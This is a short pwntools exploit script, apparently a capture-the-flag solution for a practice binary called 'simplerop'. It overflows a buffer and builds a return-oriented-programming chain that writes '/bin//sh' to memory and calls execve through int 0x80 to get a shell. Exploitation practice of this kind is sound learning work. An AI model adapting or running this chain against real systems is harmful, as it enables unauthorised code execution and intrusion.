from pwn import * from struct import pack #r = process('./simplerop') context.log_level = 'debug' #r.recv() int_addr = 0x080493e1 pop_eax = 0x080bae06 read_addr= 0x0806CD50 binsh_addr = 0x080EB584 pop_edx_ecx_ebx = 0x0806e850 p=b"a"*0x20 p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bae06) # pop eax ; ret p += b'//sh' p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx ; ret p += p32(0)+p32(0)+p32(0x080ea060) p += pack(b'<I', 0x080bae06) # pop eax ; ret p += p32(0xb) p += pack(b'<I', 0x080493e1) # int 0x80 #print(strlen(p)) r.sendline(p) r.interactive()